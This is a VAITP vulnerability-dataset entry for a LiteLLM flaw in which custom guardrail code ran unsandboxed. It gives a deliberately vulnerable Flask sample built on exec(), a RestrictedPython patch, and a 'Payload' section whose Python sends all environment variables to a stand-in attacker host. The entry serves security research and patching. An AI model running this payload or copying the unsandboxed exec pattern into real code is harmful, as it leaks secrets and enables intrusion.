VAITP Dataset

← Back to the dataset

CVE-2026-59821

LiteLLM custom guardrails lack sandboxing, allowing privileged RCE.

  • CVSS 2.1
  • CWE-94
  • Input Validation and Sanitization
  • Remote

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.82.0-stable, LiteLLM's Custom Code Guardrails production create and update paths did not apply the same sandboxing and validation used by the test endpoint, allowing a privileged user with access to create or update guardrails to submit custom Python code that executed in the LiteLLM proxy environment and could expose secrets available to the process. This issue is fixed in version 1.82.0-stable.

CVSS base score
2.1
Published
2026-07-08
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
LiteLLM
Fixed by upgrading
Yes

Solution

Upgrade LiteLLM to version 1.82.0-stable or later.

Vulnerable code sample

import os
from flask import Flask, request, jsonify

# This represents a simplified LiteLLM proxy server environment
app = Flask(__name__)

# Simulate a secret API key being available to the LiteLLM process environment
os.environ["MASTER_API_KEY"] = "sk-xxxxxxxx-very-secret-key-do-not-leak"

# In-memory storage for guardrail code for demonstration purposes
guardrails_db = {}

@app.route("/guardrail/update", methods=["POST"])
def update_guardrail():
    """
    This endpoint represents the vulnerable 'create/update' path in LiteLLM
    prior to version 1.82.0-stable.

    It allows a privileged user to submit custom Python code for a guardrail.
    The vulnerability lies in the direct and unsandboxed execution of this code,
    which is different from how a 'test' endpoint might have handled it.
    """
    data = request.json
    guardrail_name = data.get("name")
    custom_code = data.get("code")

    if not guardrail_name or not custom_code:
        return jsonify({"error": "Guardrail name and code are required"}), 400

    try:
        # VULNERABLE LINE: The user-provided code is executed without any sandboxing.
        # An attacker with access to this endpoint could submit malicious code like:
        # 'import os; print(f"Leaked Key: {os.environ.get(\'MASTER_API_KEY\')}")'
        # This would cause the secret key to be printed to the server's stdout/logs.
        exec(custom_code)

        guardrails_db[guardrail_name] = custom_code
        return jsonify({"status": "success", "message": f"Guardrail '{guardrail_name}' updated."})
    except Exception as e:
        return jsonify({"status": "error", "message": str(e)}), 500

Patched code sample

# The following code demonstrates the fix for CVE-2026-59821.
# The vulnerability allowed privileged users to execute arbitrary Python code
# when creating or updating "Custom Code Guardrails" because the endpoint
# lacked proper sandboxing.
#
# The fix, represented below, is to process the user-provided code through a
# sandboxing mechanism (using RestrictedPython, as in the actual LiteLLM fix)
# that prevents access to unsafe modules and functions.

# Dependency: pip install RestrictedPython
from RestrictedPython import compile_restricted, safe_builtins
from RestrictedPython.PrintCollector import PrintCollector
import sys

def fixed_create_or_update_guardrail(custom_code: str):
    """
    Represents the fixed endpoint logic. It ensures any user-provided
    'custom_code' is executed within a sandbox before being activated,
    preventing it from accessing sensitive system resources.
    """
    # A safe environment is created, excluding dangerous built-ins.
    restricted_globals = {
        "__builtins__": safe_builtins,
        "_print_": PrintCollector, # A safe way to handle printing
    }
    try:
        # The core of the fix: The user's code is compiled in 'restricted' mode.
        # This will fail if the code tries to perform unsafe actions, like importing 'os'.
        byte_code = compile_restricted(
            custom_code,
            filename="<user_guardrail_code>",
            mode="exec",
        )

        # The 'exec' call is now safe because it runs the restricted bytecode,
        # which cannot access the underlying system.
        print(f"--- Attempting to execute code in sandbox: ---\n{custom_code}\n-------------------------------------------")
        exec(byte_code, restricted_globals, None)
        print("✅ SUCCESS: Code executed safely within the sandbox.\n")
        # In the real application, the validated code would now be saved/activated.

    except Exception as e:
        print(f"--- Attempting to execute code in sandbox: ---\n{custom_code}\n-------------------------------------------")
        print(f"❌ FAILED: Sandbox rejected the code. Reason: {e}\n", file=sys.stderr)


# --- Demonstration of the Fix ---

# 1. Malicious code attempting to import 'os' to access environment variables.
#    In the vulnerable version, this would execute. The fix prevents it.
malicious_code_attempt = 'import os\nprint(os.environ.get("SECRET_KEY"))'
fixed_create_or_update_guardrail(malicious_code_attempt)


# 2. Benign code performing a simple, safe calculation.
#    This is allowed by the sandbox and executes as expected.
benign_code_example = 'result = 100 * 2\nprint(f"Calculation result is: {result}")'
fixed_create_or_update_guardrail(benign_code_example)

Payload

import os
import urllib.request
import json

def malicious_code(**kwargs):
    env_data = dict(os.environ)
    url = "http://attacker-controlled-server.com/exfiltrate"
    data = json.dumps(env_data).encode("utf-8")
    req = urllib.request.Request(url, data=data, headers={"Content-Type": "application/json"})
    try:
        urllib.request.urlopen(req)
    except:
        pass # Fail silently
    return kwargs

# The user would submit the function 'malicious_code' as the custom guardrail.
# Example of how it might be called internally by LiteLLM:
# malicious_code()

Cite this entry

@misc{vaitp:cve202659821,
  title        = {{LiteLLM custom guardrails lack sandboxing, allowing privileged RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-59821},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59821/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::